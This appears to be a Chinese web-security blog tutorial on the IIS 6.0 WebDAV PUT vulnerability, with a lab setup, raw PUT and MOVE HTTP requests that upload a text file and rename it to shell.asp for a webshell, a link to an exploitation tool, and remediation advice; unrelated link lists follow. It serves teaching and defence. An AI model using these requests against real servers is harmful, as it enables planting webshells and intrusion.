0x00 IIS简介

IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。

最初是Windows NT版本的可选包,随后内置在Windows 2000、Windows XP Professional和Windows Server 2003一起发行,但在Windows XP Home版本上并没有IIS。

IIS是一种Web(网页)服务组件,其中包括Web服务器、FTP服务器、NNTP服务器和SMTP服务器.

分别用于网页浏览、文件传输、新闻服务和邮件发送等方面,它使得在网络(包括互联网和局域网)上发布信息成了一件很容易的事。

0x01 Put漏洞造成原因

IIS Server在Web服务扩展中开启了WebDAV,配置了可以写入的权限,造成任意文件上传。

0x02 实验环境搭建

1:安装VMware

2:安装WIN2003

3:配置网络连接

4:安装IIS6.0(64bit)

VMware虚拟机选择的网络是.NET模式,或者桥接模式也可以!但前提必须让2003和物理机相互Ping通才可以!

有时候互相Ping不通可能是防火墙的原因,可以把防火墙关闭就可以Ping通了

在这里我的物理机IP:192.168.1.100

WIN2003虚拟机的IP:192.168.119.133

然后配置完IIS后我们用物理机访问WIN2003的IP看看能不能打开网页:

访问:http://192.168.119.133/



上面说明是可以访问到网站的。(一切就绪)

0x03 需要用到的工具

这里不借助这个工具也是可行的,熟悉了这些请求方式的格式之后,就可以通过burp抓包,改数据也行。

当然也可以利用这个工具:IIS写权限的利用 - 桂林老兵:https://www.arpun.com/soft/13406.html

(PS:不建议下载到本机吼~)

0x04 IIS-PUT漏洞演示实战

首先来到Internet信息服务(IIS)管理器 - Web服务扩展:

我们把WebDAV设置为允许、然后网站主目录下设置可写入权限:

这个时候就有可能照成任意文件上传,我们来先来发送一个OPTIONS请求:

options 请求属于浏览器的预检请求,查看服务器是否接受请求,预检通过后,浏览器才会去发 get, post, put, delete 等请求。

可以看到服务器可以使用PUT、DELETE、MOVE等敏感请求方式,那么我们来试试用PUT写一个文件:

发现成功上传了txt文件。(这里如果无法上传的话,有可能是多重原因,网站目录权限不够或者没有在文件名前面加上/)

那我们再上传脚本文件asp试试:

这个时候就不行了,但是我们可以通过MOVE请求方式,并利用刚刚上传上去的test.txt文件做些改动:

这里就可以看到,我们通过先前上传的test.txt,借助MOVE给他更改了后缀名,那看看里面的内容有没有发生变化:

文件内容并没有发生任何变化,这里的MOVE协议是不可以更改文件内容的。

总结一下,只要能够上传恶意的txt文件,同时借助MOVE请求方式就可以生成恶意连接后门。

从新上传一个恶意txt,尝试连接菜刀,完全没问题的。

0x05 常见请求协议

GET:

GET /test.txt HTTP/1.1
Referer: http://192.168.101.100
Host: 192.168.101.100
Cookie: iscookies=0;

DELETE:

DELETE /test.txt HTTP/1.1
Host: 192.168.101.100

PUT:

PUT /test.txt HTTP/1.1
Host: 192.168.101.100
Content-Length: 17 this is a test

POST:

POST /test.txt HTTP/1.1
Referer: http://192.168.101.100
Host: 192.168.101.100
Content-Length: 5
Cookie: iscookies=0; this is a test

MOVE:

MOVE /test.txt HTTP/1.1
Host: 192.168.101.100
Destination: http://192.168.101.100/shell.asp

0x06 漏洞修复建议

1:关闭WebDAV

2:关闭写入权限

[WEB安全]IIS-PUT漏洞的更多相关文章

  1. Web Server (IIS) Administration Cmdlets in Windows PowerShell

    https://technet.microsoft.com/en-us/library/ee790599.aspx Web Server (IIS) Administration Cmdlets in ...

  2. Web 服务器 (IIS) 角色

    原文:Web 服务器 (IIS) 角色 1. 对于默认安装,请在命令行提示符下键入以下命令,然后按 Enter: start /w pkgmgr /iu:IIS-WebServerRole;WAS-W ...

  3. 基于Web的IIS管理工具

    Servant:基于Web的IIS管理工具   Servant for IIS是个管理IIS的简单.自动化的Web管理工具.安装Servant的过程很简单,只要双击批处理文件Install Serva ...

  4. web端常见安全漏洞测试结果分析-- appscan

    基于appscan测试结果分析: 一.XSS跨站脚本 指的是攻击者往Web页面里插入恶意html代码,通常是JavaScript编写的恶意代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被 ...

  5. VS2017 无法连接到Web服务器“IIS Express”终极解决方案

    今天日了gou了,一大早打开VS2017的时候出现无法连接到Web服务器"IIS Express"的错误,然后必应了一下,再谷歌了一下找到的解决方法也都千篇一律,奈何都没能解决,最 ...

  6. ArcServer10.1系列产品之ArcGIS Web Adaptor (IIS)

    1.关于 ArcGIS Web Adaptor 通过 ArcGIS Web Adaptor,可以将 ArcGIS for Server 与您现有的 Web 服务器进行集成.ArcGIS Web Ada ...

  7. Visual Studio 2017 无法连接到Web服务器"IIS Express"

    .net core2.2 无法连接到Web服务器"IIS Express" 解决方案: 用命令提示符输入以下命令 sc config http start= auto 重启计算机, ...

  8. 通过混合编程分析的方法和机器学习预测Web应用程序的漏洞

    通过混合编程分析的方法和机器学习预测Web应用程序的漏洞 由于时间和资源的限制,web软件工程师需要支持识别出有漏洞的代码.一个实用的方法用来预测漏洞代码可以提高他们安全审计的工作效率.在这篇文章中, ...

  9. Unable to connect to web server 'IIS Express'(无法连接到Web服务器“IIS Express”)的解决方式-Jexus Manager

    在运行微软示例工程eShopOnWeb时候, 在经过一段时间再运行启动报Error "Unable to connect to web server 'IIS Express'"  ...

  10. web前后端分离漏洞分析防御

    web前后端分离漏洞分析防御 漏洞分析,主要漏洞有 一.跨站脚本攻击XSS 程序 + 数据 = 结果:攻击后,数据夹杂一部分程序(执行代码),导致结果改变: 1.XSS攻击注入点 (a):HTML节点 ...

随机推荐

  1. 在Linux上安装Zookeeper集群

    xl_echo编辑整理,欢迎转载,转载请声明文章来源.欢迎添加echo微信(微信号:t2421499075)交流学习. 百战不败,依不自称常胜,百败不颓,依能奋力前行.——这才是真正的堪称强大!! - ...

  2. POJ1611(The Suspects)--简单并查集

    题目在这里 关于SARS病毒传染的问题.在同一个组的学生是接触很近的,后面也会有新的同学的加入.其中有一位同学感染SARS,那么该组的所有同学得了SARS.要计算出有多少位学生感染SARS了.编号为0 ...

  3. OS X系统特有文件目录说明

    os x特有的目录 OS X系统中,除了标准的unix目录外,还增加了特有的目录. /Applications 应用程序目录,默认所有的GUI应用程序都安装在这里: /Library 系统的数据文件. ...

  4. stm32 FSMC-外扩SRAM IS62WV51216

    引脚定义 FSMC配置步骤 1.使能对应引脚GPIO时钟 2.配置GPIO引脚模式 3.使能FSMC时钟 4.FSMC初始化 5.存储器块使能 举例 #define Bank1_SRAM3_ADDR ...

  5. Linux 终端下的颜色

    Linux 终端下颜色的输出 在命令行下也能产生五颜六色的字体和图案,只需要加上一些颜色代码,例如 echo -e "\033[41;36m 红底绿字\033[0m" 其中41的位 ...

  6. 【Zookeeper】基础学习概览【汇总】

    一.概述 1.1 简介 1.2 Zookeeper集群机制 1.3 Zookeeper特性 二.Zookeeper应用场景 三.Zookeeper数据结构 四.Zookeeper安装 五.Java操作 ...

  7. 【fiddler】fiddler基础

    一.浏览器设置 一般情况下,fiddler会自动修改IE浏览器的设置,捕捉到IE浏览器的搜有通讯.其他浏览器需要手动设置 如chrome 打开chrome->设置->高级->系统-& ...

  8. Java【tomcat】配置文件

    Tomcat(二):tomcat配置文件server.xml详解和部署简介   分类: 网站架构   本文原创地址在博客园:https://www.cnblogs.com/f-ck-need-u/p/ ...

  9. linux网络编程之system v消息队列(二)

    今天继续学习system v消息队列,主要是学习两个函数的使用,开始进入正题: 下面则开始用代码来使用一下该发送函数: 在运行之前,先查看一下1234消息队列是否已经创建: 用上次编写的查看消息队列状 ...

  10. DataTable 删除数据后重新加载

    DataTable 删除数据后重新加载 一.总结 一句话总结: 判断datatable是否被datatable初始化或者是否执行了datatable销毁函数,如果没有,就销毁它 if ($('#dat ...